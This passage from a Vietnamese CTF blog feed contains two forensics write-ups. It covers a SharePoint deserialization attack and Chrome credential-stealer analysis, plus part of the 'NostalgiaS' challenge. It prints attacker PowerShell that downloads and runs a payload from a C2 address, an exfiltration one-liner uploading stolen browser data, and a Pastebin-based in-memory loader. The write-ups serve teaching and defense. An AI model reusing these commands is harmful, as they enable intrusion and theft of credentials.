&lt;li&gt;Nhúng dữ liệu nén + serialized (CompressedDataTable)&lt;/li&gt;
&lt;li&gt;Khi xử lý, SharePoint giải nén + deserialize, dẫn tới thực thi mã&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Kết quả&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Remote Code Execution&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;decode đoạn base64 -&amp;gt; gunzip (&lt;em&gt;do cơ chế lưu trữ đặc thù của thư viện PerformancePoint Services trong SharePoint&lt;/em&gt;) trong thẻ CompressedDataTable ta được&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/rknQf7pmZg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Việc mã độc nằm trong thẻ &amp;lt;anyType&amp;gt; (với kiểu xsd:string) là một thủ thuật kỹ thuật nhằm mục đích:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Làm tham số cho &quot;ngòi nổ&quot;: Hacker đang gọi hàm Deserialize của lớp LosFormatter. Hàm này bắt buộc cần một tham số đầu vào. Thẻ &amp;lt;anyType&amp;gt; đóng vai trò là &quot;vùng chứa&quot; để truyền tham số đó vào.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Khai báo kiểu dữ liệu vạn năng: Thẻ &amp;lt;anyType&amp;gt; cực kỳ linh hoạt trong XML. Nó cho phép hacker nhét một chuỗi Base64 cực dài (thực chất là đối tượng nhị phân) mà không làm máy chủ nghi ngờ hoặc gây lỗi định dạng khi phân tích cú pháp XML.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Tạo cuộc tấn công lồng nhau (Nested Attack): Máy chủ tưởng rằng nó chỉ đang đọc một chuỗi văn bản (string), nhưng khi hàm Deserialize xử lý chuỗi đó, nó lại biến thành một lệnh thực thi hệ thống (PowerShell).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;tiếp tục decode đoạn base64 trong thẻ &amp;lt;anyType&amp;gt; này ta được:
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/SkO8QX6mbx.png&quot; alt=&quot;image&quot; /&gt;
ở đây ta thấy có các lệnh hệ thống, sẽ được viết lại thành:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 1. Tải tệp tin chứa mã độc từ máy chủ C2 của hacker
Invoke-WebRequest -Uri http://30.243.67.128:1234/raw_package -OutFile C:\Windows\Temp\raw_package; 

# 2. Chèn thêm các đoạn mã Base64 vào tệp để tạo cấu trúc Certutil hợp lệ
Add-Content -Path C:\Windows\Temp\raw_package -Value bGVYQjFibU4wU1dOTVlqRkZSVVVBDQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0t -Encoding UTF8; 
Add-Content -Path C:\Windows\Temp\raw_package -Value DQo= -Encoding UTF8; 
Add-Content -Path C:\Windows\Temp\raw_package -Value &apos;-----END CERTIFICATE-----&apos; -Encoding UTF8; 

# 3. Sử dụng công cụ hệ thống certutil để giải mã tệp (vượt qua AV)
certutil -decode C:\Windows\Temp\raw_package C:\Windows\Temp\d1; 
certutil -decode C:\Windows\Temp\d1 C:\Windows\Temp\health_check.exe; 

# 4. Xóa các tệp tạm để xóa dấu vết
del C:\Windows\Temp\raw_package; 
del C:\Windows\Temp\d1; 

# 5. Kích hoạt mã độc và xóa file sau khi chạy
C:\Windows\Temp\health_check.exe; 
sleep 10; 
del C:\Windows\Temp\health_check.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;oke đến đây chúng ta đã biết và hiểu được quá trình mà attacker bypass auth (CVE-2025-53771), khai thác lỗ hỏng (CVE-2025-53770), RCE và tải về một con malware. Tiếp theo, chúng ta cố gắng tái tạo và phân tích con malware này.&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;Phân tích malware health_check.exe:&lt;/h1&gt;
&lt;p&gt;tiếp đến stream 2:
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/HkPgI76Xbx.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ta thấy nó đang tải file &lt;code&gt;raw_package&lt;/code&gt; từ host &lt;code&gt;30.243.67.128:1234&lt;/code&gt;, Đây chính là C2 của attacker, mà chúng ta đã phân tích phân tích đoạn RCE ở trên. Như đã biết, đây là đoạn binary đã được ngụy trang qua &lt;code&gt;2 lớp base64&lt;/code&gt; để tạo thành malware được lưu dưới tên &lt;code&gt;health_check.exe&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Do base64 này được lưu và format dưới dạng cert, nên nó bị add phần BEGIN, END CERT nên việc decode chay bằng cyberchef thì phải xóa các byte rác và format, nên hay vì vậy chúng chạy thẳng các lệnh RCE đã decode và giải nén ở bước trước luôn:)))), lười.
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/Bkk8jma7Zx.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;kiểm tra lại:
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/HyMQh7T7Ze.png&quot; alt=&quot;image&quot; /&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/ByiynsJN-e.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ta thấy đây là file 64-bit executable, biên dịch bằng MinGW-w64 GCC (Vậy là được viết bằng C/C++) và không bị packed.&lt;/p&gt;
&lt;p&gt;oker có vẻ ổn rồi, giờ load vào ida để phân tích thoiii&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tóm tắt thì: Malware này thu thập dữ liệu Chrome (Login Data + Local State) -&amp;gt; copy sang thư mục tạm -&amp;gt; nén + đặt password -&amp;gt; upload ZIP lên C2 bằng PowerShell.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Bắt đầu ở hàm main() nào:
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/rJQHAiJN-e.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ở đây chúng ta thấy rõ ràng hành vi thu thập dữ liệu, cụ thể là nó sẽ xác định các path &lt;code&gt;%localappdata%\\Google\\Chrome\\User Data\\Default\\Login Data&lt;/code&gt; và &lt;code&gt;%localappdata%\\Google\\Chrome\\User Data\\Local State&lt;/code&gt; -&amp;gt; resolve các path này -&amp;gt; tạo thư mục temp đặt tên theo GUID, còn các files &lt;code&gt;chrome_health_result&lt;/code&gt;, &lt;code&gt;chrome_service_result&lt;/code&gt; sẽ copy raw từ &lt;code&gt;Login Data&lt;/code&gt;, &lt;code&gt;Local State&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;CopyFileW(Login Data -&amp;gt; chrome_health_result)
CopyFileW(Local State -&amp;gt; chrome_service_result)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/Byh_-3JVbg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Tiếp theo nó sẽ nén folder chứa các dữ liệu đã đánh cắp, được đặt tên là GUID thành file .zip + đặt bằng khẩu thông qua &lt;code&gt;GenPass3&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/SJpfz2JNZe.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Sau đó nó thực hiện exfiltrate file .zip đó đến C2 &lt;code&gt;30.243.67.128:8000&lt;/code&gt; bằng powershell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;powershell.exe &quot;Add-Type -AssemblyName &apos;System.Net.Http&apos;; $file = Get-Item &apos;{ZIP_PATH}&apos;; $client = New-Object System.Net.Http.HttpClient; $content = New-Object System.Net.Http.MultipartFormDataContent; $fileStream = $file.OpenRead(); $fileContent = New-Object System.Net.Http.StreamContent($fileStream); $content.Add($fileContent, &apos;file&apos;, $file.Name); $response = $client.PostAsync(&apos;http://30.243.67.128:8000/upload&apos;, $content).Result; $fileStream.Close(); $client.Dispose()&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bên cạnh đó chúng ta hãy tìm hiểu cách mà con malware này GenPass cho file .zip này&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;GenPass3&lt;/strong&gt;:
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/HyYqNnk4We.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ta có thể thấy là nó đang gọi GenPass2, sau khi gọi thành công thì nó append &quot;s&quot; vào. Tiếp tục xem GenPass2.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;GenPass2&lt;/strong&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/Bk9brhJ4-l.png&quot; alt=&quot;image&quot; /&gt;
nó lại tiếp tục gọi GenPass1, sau đó thì nó append &quot;_&quot; vào&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;GenPass1&lt;/strong&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/ByrVH2kE-l.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;thì ta đã đến được nơi khởi tạo chuỗi gốc.
Tóm lại thì đây là &lt;code&gt;call flow&lt;/code&gt; của genpass này:&lt;/p&gt;
&lt;p&gt;GenPass3
L___GenPass2
L______GenPass1&lt;/p&gt;
&lt;p&gt;=&amp;gt; password sẽ là: _p4$$w0d_s (Nhưng đây chưa phải là pass thật)&lt;/p&gt;
&lt;p&gt;Quay lại file pcap một tí&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/B1qJP2JE-l.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;thì ở stream 3, ta thấy có một file zip đã được gửi đến &lt;code&gt;30.243.67.128:8000&lt;/code&gt;, thì dựa vào những phân tích vừa rồi, chúng ta có thể khẳng định ngay đây chính là file zip chứa các thông tin như &lt;code&gt;Login Data&lt;/code&gt;, &lt;code&gt;Local State&lt;/code&gt; đã bị malware đánh cắp và đang gửi đến C2. Export nó ra thôi.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/rJW7KnkE-g.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Đúng như dự đoán là nó chứa 2 file bị đánh cắp (đã được đổi tên) và chắc chắn khi giải nén thì nó sẽ yêu cầu password, lấy password mà ta vừa phân tích được ở trên (_p4$$w0d_s) là được.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BÙMMMMMMMMMMMMMMMMMMMMMMMMMM&lt;/strong&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/BkL4Y2yEbx.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Incorrect password&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;hơ hơ, sai pass rồi, cayyyyy.&lt;/p&gt;
&lt;p&gt;Sau một hồi kiểm tra, toi lục đến section &lt;code&gt;.rdata&lt;/code&gt; (read-only data) để xem các chuỗi password được lưu như thế nào. Thì ối giời oi, còn những chuỗi khác mà tôi đã bỏ sót&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/Sy6wc3yEWe.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Nhưng kì lạ ở chỗ, toi xem cross-reference list của các chuỗi này
thì chỉ có &apos;s&apos;,&apos;_&apos;,&apos;_p4$$w0d&apos; là được gọi&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/rypNohy4bx.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;nên chúng ta đã nhằm tưởng _p4$$w0d_s là password đúng, nhưng không phải&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/rkn822y4bx.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;còn các chuỗi như &apos;up3r&apos;, &apos;S3(ReT&apos;,... thì không thấy được gọi, sử dụng ở bất kỳ đâu trong chương trình.
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/rkZZ23k4We.png&quot; alt=&quot;image&quot; /&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/rkyKnhkVbg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;thì ở đây chúng ta có thể craft mật khẩu thủ công, ngồi mò mò, dò dò nào đúng thì được file:))))&lt;/p&gt;
&lt;p&gt;Nhưng còn một cách khác, chúng ta có thể &lt;strong&gt;debug&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Quay lại hàm &lt;code&gt;CompressFolder()&lt;/code&gt; nơi mà lệnh để zip file được thực thi, thì chúng ta đã biết, khi nén bằng commandline thì với 7zip, sẽ dùng -p  &amp;lt;password&amp;gt; để đặt mật khẩu cho file zip đó, vậy khi chúng ta đặt breakpoint tại điểm mà tạo ra tiến trình nén file, ta có thể thấy được hoàn chỉnh câu lệnh do malware thực thi để nén file.&lt;/p&gt;
&lt;p&gt;Dựa vào ý tưởng đó toi đã đặt breakpoint tại:
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/SJOkkT1EZl.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;trong trường hợp này v4 là con trỏ LPWSTR trỏ tới commandline string (powershell one-liner)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/r1q-bayEZg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;cụ thể hơn, khi này thanh &lt;code&gt;rax&lt;/code&gt; sẽ giữ toàn bộ commandline, oke start và lấy pass thôi.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/HJbbMa1EZx.png&quot; alt=&quot;image&quot; /&gt;
oke bingo&lt;/p&gt;
&lt;p&gt;ở đây chúng ta có thể export ra hex string, rồi xóa bỏ các byte rác và format lại để lấy 1 chuỗi command hoàn chỉnh
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/BkoLzpkEbg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;hoặc quăng cho chatbot kêu nó format lại cho lẹ:)))))))))))&lt;/p&gt;
&lt;p&gt;đây là toàn bộ câu lệnh đó:
&lt;code&gt;&quot;C:\Program Files\VMware\VMware Tools\7za.exe&quot; a &quot;C:\Windows\Temp\{CC70F63E-CFD4-4C58-B9D4-EEA602E19294}.zip&quot; &quot;C:\Windows\Temp\{CC70F63E-CFD4-4C58-B9D4-EEA602E19294}\*&quot; -p sup3r_S3(ReT_p4$$w0d&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;và password hoành chỉnh là &lt;strong&gt;&lt;code&gt;sup3r_S3(ReT_p4$$w0d&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;với pass này thì chúng ta đã giải nén thành công file zip&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/Bk637ak4Wl.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;kiểm tra nó là file gì
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/B1KxEakEbg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;vì file &lt;code&gt;chrome_health_result&lt;/code&gt; là &lt;code&gt;Login Data&lt;/code&gt;, khá thú vị nên toi bắt đầu từ nó.&lt;/p&gt;
&lt;p&gt;Mở nó bằng DB Browser (vì nó là file database)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/rkaO4pyVbx.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;oker đây rồi, ở record &lt;code&gt;logins&lt;/code&gt; thì ta thấy được giá của cột &lt;code&gt;username_value&lt;/code&gt; là &lt;code&gt;SH4R3_y0R_P$$wD&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;craft với prefix là VCS{} thì ta được flag &lt;code&gt;VCS{SH4R3_y0R_P$$wD}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Ngoài 1 số hàm của malware mà toi phân tích ở trên, vẫn còn một số hàm khác như
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/SyR1U6k4We.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;dùng để check xem có đang debug trong máy ảo hay không, cũng như là lấy path của 7zip cho phục việc nén file. Nếu debug ở máy thật chúng ta phải có thêm các bước đặt breakpoint để nhảy qua phần kiểm tra vm đó.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cảm ơn mọi người đã đọc đến đây, chúc một ngày tốt lành&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;(\_/)
(•.•)
(&amp;gt;☕
---- SawG, a.k.a EagleBoiz&lt;/p&gt;
</content:encoded></item><item><title>CSCV 2025 – NostalgiaS</title><link>https://sawg23.github.io/blog/posts/cscv2025/nostalgias/</link><guid isPermaLink="true">https://sawg23.github.io/blog/posts/cscv2025/nostalgias/</guid><description>Writeup bài NostalgiaS – CSCV CTF 2025</description><pubDate>Wed, 22 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;&lt;strong&gt;NostalgiaS Write-up&lt;/strong&gt;&lt;/h1&gt;
&lt;p&gt;NostalgiaS là một challenge thuộc mảng Digital Forensics trong cuộc thi Sinh Viên An Ninh Mạng 2025 (Cyber Security Contest VietNam 2025), cuộc thi quy tụ rất nhiều đội CTF mạnh trong cộng đồng sinh viên ở Việt Nam cũng như một số nước khu vực Asian.&lt;/p&gt;
&lt;p&gt;Đây là writeup chia sẻ về quá trình và hướng giải mình giải bài NostalgiaS này khi thi, nếu có sai sót hay cần cải thiện thì mong được mọi người góp ý.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/NostalgiaS/BylVE8UAxg.jpg&quot; alt=&quot;505926932_1277511053948477_3074998489741789929_n&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Đây là description của đề
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/NostalgiaS/SyXsMumReg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Oke, chúng ta tải file challenge của đề và bắt đầu thôi.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/NostalgiaS/HJ329dQRxl.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;đề cung cấp cho ta một file &lt;strong&gt;.ad1&lt;/strong&gt; (&lt;a href=&quot;https://dfir.science/2021/09/What-is-an-AD1.html&quot;&gt;có thể tìm hiểu thêm ở đây&lt;/a&gt;), và công cụ không thể thiếu để phân tích file này FTK Imager.&lt;/p&gt;
&lt;p&gt;Sau khi load evidence vào FTK Imager, ta được như sau:
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/NostalgiaS/Bye33O7Aeg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Có thể thấy author đã dump ổ cứng cho chúng ta khá đầy đủ.&lt;/p&gt;
&lt;p&gt;Ở thư mục Users, có một người dùng với username là &lt;strong&gt;kadoyat&lt;/strong&gt;, bắt đầu từ đây thoi.&lt;/p&gt;
&lt;p&gt;Sau một lúc lục lọi thì thì ở thư mục Documents của user &lt;strong&gt;kadoyat&lt;/strong&gt;, tôi thấy có các file Excel Macro: &lt;em&gt;accounting.xlsm, budget_tracking.xlsm, và một file zip tax_calculation.zip chứa tệp tax_calculation.xlsm&lt;/em&gt;. Những file này hỗ trợ macro để lưu trữ các script VBA, và hacker có thể lợi dụng để chèn các mã độc hại, lợi dụng khi người dùng mở file để kích hoạt. Chúng ta sẽ dump các file macro đó để kiểm tra.&lt;/p&gt;
&lt;p&gt;Với các file &lt;em&gt;accounting.xlsm, budget_tracking.xlsm&lt;/em&gt; thì script VBA không có gì nguy hiểm, chỉ là hỗ trợ trong kế toán thoi, còn file zip &lt;em&gt;tax_calculation.zip&lt;/em&gt; cần có mật khẩu để giải nén
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/NostalgiaS/ryxpBQI0lg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Khá mờ ám, chúng ta thử dùng Hashcat để crack xem trong file có đính kèm mã độc không.
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/NostalgiaS/Skxiv7LAxl.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;crack thành công mật khẩu của file &lt;em&gt;tax_calculation.zip&lt;/em&gt; này là &lt;em&gt;&quot;secret&quot;&lt;/em&gt;. Nhưng một lần nữa, script VBA trong file .xlsm này cũng không có gì nguy hiểm. Có vẻ đây là cách lạc hướng của tác giả.&lt;/p&gt;
&lt;p&gt;Tiếp theo hãy thử dump các registry như &lt;em&gt;NTUSER.DAT, SYSTEM, SOFTWARE&lt;/em&gt; xem có gì thú vị có thể tìm thấy trong các hive này không.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/NostalgiaS/r1_EhXUCxe.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Chúng ta sẽ dùng tool &lt;strong&gt;Regripper&lt;/strong&gt; để kiểm tra.
Đầu tiên là plugin &lt;strong&gt;runmru&lt;/strong&gt; của RegRipper để lấy và trình bày các mục từ RunMRU (artifact của hộp Run — Win+R) trong hive người dùng.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/NostalgiaS/SkL2bVU0ll.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Cũng không thấy gì đáng chú ý&lt;/p&gt;
&lt;p&gt;Tiếp theo thì thử dùng plugin &lt;strong&gt;userassist&lt;/strong&gt;. Plugin này đọc dữ liệu từ UserAssist keys trong file NTUSER.DAT để hiển thị chương trình hoặc file mà người dùng đã thực sự chạy&lt;/p&gt;
&lt;p&gt;📂 Vị trí Registry mà plugin truy cập
userassist plugin phân tích các khóa:
&lt;em&gt;&quot;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist&quot;&quot;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/NostalgiaS/Byf14NLCgg.png&quot; alt=&quot;Screenshot 2025-10-22 173526&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ta có thể thấy &lt;em&gt;powershell.exe&lt;/em&gt; đã được dùng, hmmm có vẻ khá sus. Phải kiểm tra xem powershell đã được dùng để thực thi cái gì.&lt;/p&gt;
&lt;p&gt;rất may là tác giả đã dump cho ta khá đầy đủ, bao gồm các log của Windows Events, đặc biệt là &lt;em&gt;Microsoft-Windows-PowerShell/Operational&lt;/em&gt; (chuyên ghi lại hoạt động thực thi của PowerShell)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/NostalgiaS/HJ7RS4URgl.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;chúng ta sẽ đặc biệt để ý đến &lt;strong&gt;EventID 4104&lt;/strong&gt;, vì nó ghi nội dung script hoặc đoạn mã đã chạy (rất chi tiết — thường chứa payload của malware).&lt;/p&gt;
&lt;p&gt;Chúng ta sẽ dùng tool &lt;strong&gt;EvtxECmd&lt;/strong&gt; trong bộ công cụ điều tra số của &lt;em&gt;Eric Zimmerman&lt;/em&gt;, để xuất các &lt;strong&gt;EventID 4104&lt;/strong&gt; dưới dạng file .csv để dễ dàng quan sát hơn
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/NostalgiaS/HkatiE8Aee.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ở đây chúng ta thấy một event cực kì đáng nghi
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/NostalgiaS/rJs0a4LClg.png&quot; alt=&quot;Screenshot 2025-10-22 181852&quot; /&gt;&lt;/p&gt;
&lt;p&gt;để mình viết lại cho dễ nhìn&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$AssemblyUrl = &quot;https://pastebin.com/raw/90qeYSHA&quot;
$XorKey = 0x24
$TypeName = &quot;StealerJanai.core.RiderKick&quot;
$MethodName = &quot;Run&quot;
try {
    $WebClient = New-Object System.Net.WebClient
    $encodedContent = $WebClient.DownloadString($AssemblyUrl)
    $WebClient.Dispose()

    $hexValues = $encodedContent.Trim() -split &apos;,&apos; | Where-Object { $_ -match &apos;^0x[0-9A-Fa-f]+$&apos; }

    $encodedBytes = New-Object byte[] $hexValues.Length
    for ($i = 0; $i -lt $hexValues.Length; $i++) {
        $encodedBytes[$i] = [Convert]::ToByte($hexValues[$i].Trim(), 16)
    }

    $originalBytes = New-Object byte[] $encodedBytes.Length
    for ($i = 0; $i -lt $encodedBytes.Length; $i++) {
        $originalBytes[$i] = $encodedBytes[$i] -bxor $XorKey
    }

    $assembly = [System.Reflection.Assembly]::Load($originalBytes)

    if ($TypeName -ne &quot;&quot; -and $MethodName -ne &quot;&quot;) {
        $targetType = $assembly.GetType($TypeName)
        $methodInfo = $targetType.GetMethod($MethodName, [System.Reflection.BindingFlags]::Static -bor [System.Reflection.BindingFlags]::Public)
        $methodInfo.Invoke($null, $null)
    }
} catch {
    exit 1
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tóm tắt thì script này có workflow như sau:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Tải chuỗi dữ liệu từ pastebin.com/raw/90qeYSHA.&lt;/li&gt;
&lt;li&gt;Chuỗi này là danh sách hex (ví dụ 0xAF,0x1C,...).&lt;/li&gt;
&lt;li&gt;Tạo mảng byte từ hex, XOR từng byte với 0x24 để giải mã → thu được originalBytes.&lt;/li&gt;
&lt;li&gt;Dùng [System.Reflection.Assembly]::Load để load bytes như .NET assembly (DLL/EXE) trực tiếp vào memory.&lt;/li&gt;
&lt;li&gt;Sau đó lấy type StealerJanai.core.RiderKick và gọi phương thức tĩnh Run()&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;thì không thể bàn cãi gì thêm đây chính là quá trình stager của mã độc&lt;/p&gt;
&lt;p&gt;Tiếp theo thì tạo một script để tải và giải mã payload gốc từ &lt;em&gt;Pastebin&lt;/em&gt;, lưu thành file binary để tiện cho việc phân tích nhưng không thực thi&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$u=&quot;https://pastebin.com/raw/90qeYSHA&quot;
$k=0x24
$out=&quot;decoded.bin&quot;
$wc=New-Object System.Net.WebClient
$txt=$wc.DownloadString($u)
$wc.Dispose()
$hex=$txt.Trim() -split &apos;,&apos; | Where-Object{$_ -match &apos;^0x[0-9A-Fa-f]+$&apos;}
$enc=[byte[]]::new($hex.Length)
for($i=0;$i -lt $hex.Length;$i++){ $enc[$i]=[Convert]::ToByte($hex[$i].Trim(),16) }
$dec=[byte[]]::new($enc.Length)
for($i=0;$i -lt $enc.Length;$i++){ $dec[$i]=$enc[$i] -bxor $k }
[IO.File]::WriteAllBytes($out,$dec)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nhưng do author đã disable &lt;em&gt;&quot;https://pastebin.com/raw/90qeYSHA&quot;&lt;/em&gt;, rất may là trong lúc làm bài khi thi, mình vẫn còn giữ sample.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/NostalgiaS/rkI84rURll.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;bỏ vào tool &lt;strong&gt;Exeinfo PE&lt;/strong&gt; để kiểm tra bước đầu&lt;/p&gt;
